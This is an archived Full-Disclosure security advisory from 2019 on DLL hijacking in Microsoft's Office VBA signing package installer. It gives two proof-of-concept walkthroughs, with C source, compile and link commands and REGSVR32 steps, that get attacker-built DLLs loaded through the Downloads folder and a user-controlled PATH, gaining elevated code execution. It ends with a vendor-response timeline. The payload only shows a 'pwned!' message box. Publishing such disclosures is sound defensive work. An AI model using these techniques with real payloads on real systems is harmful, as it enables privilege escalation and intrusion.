lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 18 Jan 2019 21:15:23 +0100
From: "Stefan Kanthak" <>
To: <>
Subject: [FD] Defense in depth -- the Microsoft way (part 59): we only fix
	every other vulnerability

Hi @ll

the executable self-extractor (and its payload too)
for the "Microsoft Office Subject Interface Packages for Digitally Signing VBA Projects",
available via <>,
published April 19 2018, is (SURPRISE!) vulnerable!

Vulnerability #1

On a fully patched Windows 7, officesips.exe loads at least the
following system DLLs from its "application directory" instead
from Windows' "system directory" %SystemRoot%\System32\:

    UXTheme.dll, Cabinet.dll, Version.dll, WindowsCodecs.dll,
    AppHelp.dll, SrvCli.dll, CSCAPI.dll, SLC.dll, Secur32.dll,
    NTMARTA.dll, SAMCli.dll, SAMLib.dll, NetUtils.dll

For executable self-extractors and installers the "application
directory" is typically the user's "Downloads" directory
%USERPROFILE%\Downloads, where the unprivileged user or an
attacker can place these DLLs (the latter for example per
"drive by" download), resulting in arbitrary code execution.

See <>
and <>
plus <>
for this well-known and well-documented vulnerability.

Also see Microsofts own guidance
<> and
for avoiding such BEGINNER'S ERRORS!

Proof of concept:

1. follow the instructions on
   and build "forwarder" DLLs for the above named system DLLs in
   your "Downloads" directory.

2. fetch
   and save it in your "Downloads" directory.

3. run officesips.exe per double-click: notice the message boxes
   displayed from the DLLs built in step 1.

     Provide an authenticode signed .CAB with the payload instead!

The icing on the cake: the "application manifest" embedded within
the executable self-extractor specifies "requireAdministrator", thus
resulting in arbitrary code execution WITH escalation of privilege.

But it's not over yet: as recommended by the included readme.txt,
extract the files into the well-secured %ProgramFiles% directory
(this is easy, as the self-extractor already acquired the necessary
administrative privileges already.-).

Following the instructions from the readme.txt, start an elevated
command prompt via [Shift] right-click and (try to) register the
extracted DLLs via the following command lines:

    REGSVR32.exe "%ProgramFiles%\vbe7.dll"
    REGSVR32.exe "%ProgramFiles%\msosip.dll"
    REGSVR32.exe "%ProgramFiles%\msosipx.dll"

Vulnerability #2

These command lines load the following DLLs from the PATH, calling
their entry point function with administrative privileges:

    MSVCR100.dll, VCRuntime140.dll and MSVCP140.dll

Since these DLLs are NOT shipped with Windows they are searched via
the PATH; if these DLLs are not found, REGSVR32.exe displays an error
message, clearly indicating this weakness.

AGAIN see <>
and <>
plus <>
for this well-known and well-documented vulnerability.

(Unprivileged) users have FULL control over their own PATH environment
variable stored in the following registry entry

    "PATH"="<arbitrary directory>[;...]"

During user logon, the user's PATH is appended to the machine's PATH.
The (unprivileged) user can also change the PATH environment variable
ANY time after logon.
The (changed) PATH is inherited by EVERY new process, including the
elevated command prompt started by the user via [Shift] right-click.

Proof of concept:

1. dump the imports referenced by VBE7.dll, MSOSIP.dll and MSOSIPX.dll
   in their load-time dependencies MSVCR100.dll, MSVCP140.dll and

   LINK.exe /DUMP /IMPORTS /OUT:officesips.txt "%ProgramFiles%\vbe7.dll" "%ProgramFiles%\msosip.dll" "%ProgramFiles%\msosipx.dll"

2. use an arbitrary text editor to generate module definition files
   MSVCR100.def, MSVCP140.def and VCRuntime140.def from the output
   file officesips.txt

--- MSVCR100.def ---

--- EOF ---

3. create the following text file:

--- officesips.c ---
#include <windows.h>

BOOL WINAPI _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    MessageBoxW((HWND) NULL, L"pwned!", L"pwned!", MB_ICONERROR);
    return TRUE;

DWORD dummy = 0;
--- EOF ---

4. compile the source file created in the previous step:

   CL.exe /c /Tcofficesips.c

5. link the object file compiled in the previous step using the
   module definition files generated before:

   LINK.exe /DEF:MSVCR100.def /DEFAULTLIB:user32.dll /DLL /ENTRY:_DllMainCRTStartup /OUT:MSVCR100.dll /SUBSYSTEM:Windows
   LINK.exe /DEF:MSVCP140.def /DEFAULTLIB:user32.dll /DLL /ENTRY:_DllMainCRTStartup /OUT:MSVCP140.dll /SUBSYSTEM:Windows
   LINK.exe /DEF:VCRuntime140.def /DEFAULTLIB:user32.dll /DLL /ENTRY:_DllMainCRTStartup /OUT:VCRuntime140.dll /SUBSYSTEM:Windows

6. add the directory (I use the CWD here) where you built the
   3 DLLs to your PATH environment variable, for example via:


7. start an elevated command prompt and run the PATH command:
   notice the directory added to the PATH in the previous step
   in the printed output.

8. run the command lines to register VBE7.dll, MSOSIP.DLL and
   MSOSIPX.dll: notice the message boxes displayed from the
   previously built DLLs!

   REGSVR32.exe "%ProgramFiles%\vbe7.dll"
   REGSVR32.exe "%ProgramFiles%\msosip.dll"
   REGSVR32.exe "%ProgramFiles%\msosipx.dll"

stay tuned
Stefan Kanthak


2018-05-29    vulnerability report sent to vendor

2018-05-30    vendor acknowledges receipt, opens case 45733

2018-10-18    answer from vendor: "The product was fixed."

2018-10-21    followup sent to vendor:
              "NO, the product is NOT fixed.
               You fixed only the vulnerable self-extractor!"

2018-10-23    reply from vendor:
              "I will forward your feedback to the Engineering Team

2018-11-06    reply from vendor:
              "We are closing this case as a Duplicate of one of
               your earlier cases, 37732, which was fixed with an
               Advisory based on a Defense in Depth method."

2018-11-06    "OUCH!
               Case 37732 was %SystemRoot%\Temp\OSE*.exe, running
               under SYSTEM account, loads a bunch of DLLs from its
               application directory, which is writable by unprivileged
               users. This is COMPLETELY unrelated."

              no more reply from BRAINDEAD vendor!

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists